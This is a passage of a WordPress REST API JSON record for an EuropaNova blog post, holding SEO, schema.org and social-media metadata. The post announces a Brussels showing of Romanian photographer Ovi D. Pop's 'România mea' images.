/?p=6597\",\"name\":\"Rom\\u00e2nia lui Ovi D. Pop - EuropaNova\",\"description\":\"22-26 septembrie \\u2013 FotoDigiExpo: Rom\\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \\u00cenaintea evenimentelor Festivalului, \\u00een pauze \\u0219i \\u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\\u021bia-album \\u201cRom\\u00e2nia mea\\u201d EUROPANOVA: Nu vii la Bruxelles \\u00een zilele festivalului, ne-ai l\\u0103sat pentru chinezi\\u2026 OVI D. POP: Invita\\u021bia \\u00een China\",\"inLanguage\":\"fr-FR\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?author=2#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?author=2#author\"},\"image\":{\"@type\":\"ImageObject\",\"url\":\"https:\\\/\\\/www.europanova.be\\\/wp-content\\\/uploads\\\/2023\\\/09\\\/277594882_1633058620410162_5951565475351323057_n-2.jpg\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597\\\/#mainImage\",\"width\":591,\"height\":616},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/?p=6597#mainImage\"},\"datePublished\":\"2023-09-01T09:29:24+01:00\",\"dateModified\":\"2026-05-22T22:02:56+01:00\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.europanova.be\\\/#website\",\"url\":\"https:\\\/\\\/www.europanova.be\\\/\",\"name\":\"EuropaNova\",\"description\":\"Espace de langues europ\\u00e9ennes\",\"inLanguage\":\"fr-FR\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.europanova.be\\\/#organization\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Rom\u00e2nia lui Ovi D. Pop - EuropaNova","description":"22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China","canonical_url":"https:\/\/www.europanova.be\/?p=6597","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/www.europanova.be\/?p=6597#blogposting","name":"Rom\u00e2nia lui Ovi D. Pop - EuropaNova","headline":"Rom\u00e2nia lui Ovi D. Pop","author":{"@id":"https:\/\/www.europanova.be\/?author=2#author"},"publisher":{"@id":"https:\/\/www.europanova.be\/#organization"},"image":{"@type":"ImageObject","url":"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/277594882_1633058620410162_5951565475351323057_n-2.jpg","width":591,"height":616},"datePublished":"2023-09-01T09:29:24+01:00","dateModified":"2026-05-22T22:02:56+01:00","inLanguage":"fr-FR","mainEntityOfPage":{"@id":"https:\/\/www.europanova.be\/?p=6597#webpage"},"isPartOf":{"@id":"https:\/\/www.europanova.be\/?p=6597#webpage"},"articleSection":"Artistes-photographes, Auteurs"},{"@type":"BreadcrumbList","@id":"https:\/\/www.europanova.be\/?p=6597#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/www.europanova.be#listItem","position":1,"name":"Accueil","item":"https:\/\/www.europanova.be","nextItem":{"@type":"ListItem","@id":"https:\/\/www.europanova.be\/?cat=149#listItem","name":"Auteurs"}},{"@type":"ListItem","@id":"https:\/\/www.europanova.be\/?cat=149#listItem","position":2,"name":"Auteurs","item":"https:\/\/www.europanova.be\/?cat=149","nextItem":{"@type":"ListItem","@id":"https:\/\/www.europanova.be\/?p=6597#listItem","name":"Rom\u00e2nia lui Ovi D. Pop"},"previousItem":{"@type":"ListItem","@id":"https:\/\/www.europanova.be#listItem","name":"Accueil"}},{"@type":"ListItem","@id":"https:\/\/www.europanova.be\/?p=6597#listItem","position":3,"name":"Rom\u00e2nia lui Ovi D. Pop","previousItem":{"@type":"ListItem","@id":"https:\/\/www.europanova.be\/?cat=149#listItem","name":"Auteurs"}}]},{"@type":"Organization","@id":"https:\/\/www.europanova.be\/#organization","name":"EuropaNova","description":"Espace de langues europ\u00e9ennes","url":"https:\/\/www.europanova.be\/","logo":{"@type":"ImageObject","url":"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/02\/logoEN_150px_bleu.png","@id":"https:\/\/www.europanova.be\/?p=6597\/#organizationLogo","width":150,"height":150},"image":{"@id":"https:\/\/www.europanova.be\/?p=6597\/#organizationLogo"},"sameAs":["https:\/\/www.facebook.com\/EuropaNovaBruxelles","https:\/\/www.youtube.com\/@europanovabruxelles4971"]},{"@type":"Person","@id":"https:\/\/www.europanova.be\/?author=2#author","url":"https:\/\/www.europanova.be\/?author=2","name":"mirela","image":{"@type":"ImageObject","@id":"https:\/\/www.europanova.be\/?p=6597#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/ce83b94c6ede62f63738f26e55838a1f50f3243a52c1bb541cf6027c6fba1c2c?s=96&d=mm&r=g","width":96,"height":96,"caption":"mirela"}},{"@type":"WebPage","@id":"https:\/\/www.europanova.be\/?p=6597#webpage","url":"https:\/\/www.europanova.be\/?p=6597","name":"Rom\u00e2nia lui Ovi D. Pop - EuropaNova","description":"22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China","inLanguage":"fr-FR","isPartOf":{"@id":"https:\/\/www.europanova.be\/#website"},"breadcrumb":{"@id":"https:\/\/www.europanova.be\/?p=6597#breadcrumblist"},"author":{"@id":"https:\/\/www.europanova.be\/?author=2#author"},"creator":{"@id":"https:\/\/www.europanova.be\/?author=2#author"},"image":{"@type":"ImageObject","url":"https:\/\/www.europanova.be\/wp-content\/uploads\/2023\/09\/277594882_1633058620410162_5951565475351323057_n-2.jpg","@id":"https:\/\/www.europanova.be\/?p=6597\/#mainImage","width":591,"height":616},"primaryImageOfPage":{"@id":"https:\/\/www.europanova.be\/?p=6597#mainImage"},"datePublished":"2023-09-01T09:29:24+01:00","dateModified":"2026-05-22T22:02:56+01:00"},{"@type":"WebSite","@id":"https:\/\/www.europanova.be\/#website","url":"https:\/\/www.europanova.be\/","name":"EuropaNova","description":"Espace de langues europ\u00e9ennes","inLanguage":"fr-FR","publisher":{"@id":"https:\/\/www.europanova.be\/#organization"}}]},"og:locale":"fr_FR","og:site_name":"EuropaNova - Espace de langues europ\u00e9ennes","og:type":"article","og:title":"Rom\u00e2nia lui Ovi D. Pop - EuropaNova","og:description":"22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China","og:url":"https:\/\/www.europanova.be\/?p=6597","og:image":"https:\/\/www.europanova.be\/wp-content\/uploads\/2016\/06\/cropped-top-facture-EN.png","og:image:secure_url":"https:\/\/www.europanova.be\/wp-content\/uploads\/2016\/06\/cropped-top-facture-EN.png","og:image:width":1196,"og:image:height":418,"article:published_time":"2023-09-01T08:29:24+00:00","article:modified_time":"2026-05-22T21:02:56+00:00","article:publisher":"https:\/\/www.facebook.com\/EuropaNovaBruxelles","twitter:card":"summary_large_image","twitter:title":"Rom\u00e2nia lui Ovi D. Pop - EuropaNova","twitter:description":"22-26 septembrie \u2013 FotoDigiExpo: Rom\u00e2nia mea EuropaNova, Clos du Parnasse 11E, Bruxelles \u00cenaintea evenimentelor Festivalului, \u00een pauze \u0219i \u00een timpul cocktailurilor, pe monitoare vor rula imagini ale artistului fotograf OVI D. POP selectate din expozi\u021bia-album \u201cRom\u00e2nia mea\u201d EUROPANOVA: Nu vii la Bruxelles \u00een zilele festivalului, ne-ai l\u0103sat pentru chinezi\u2026 OVI D. POP: Invita\u021bia \u00een China","twitter:image":"https:\/\/www.europanova.be\/wp-content\/uploads\/2016\/06\/cropped-top-facture-EN.png"},"aioseo_meta_data":{"post_id":"6597","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2023-09-07 23:03:21","updated":"2026-05-22 21:04:17","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.europanova.be\" title=\"Accueil\">Accueil<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/www.europanova.be\/?cat=149\" title=\"Auteurs\">Auteurs<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tRom\u00e2nia lui Ovi D. Pop\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Accueil","link":"https:\/\/www.europanova.be"},{"label":"Auteurs","link":"https:\/\/www.europanova.be\/?cat=149"},{"label":"Rom\u00e2nia lui Ovi D. Pop","link":"https:\/\/www.europanova.be\/?p=6597"}],"_links":{"self":[{"href":"https:\/\/www.europanova.be\/index.php?rest_route=\/wp\/v2\/posts\/6597","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.europanova.be\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.europanova.be\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6597"}],"version-history":[{"count":16,"href":"https:\/\/www.europanova.be\/index.php?rest_route=\/wp\/v2\/posts\/6597\/revisions"}],"predecessor-version":[{"id":68124,"href":"https:\/\/www.europanova.be\/index.php?rest_route=\/wp\/v2\/posts\/6597\/revisions\/68124"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.europanova.be\/index.php?rest_route=\/wp\/v2\/media\/6607"}],"wp:attachment":[{"href":"https:\/\/www.europanova.be\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6597"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.europanova.be\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6597"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.europanova.be\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6597"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}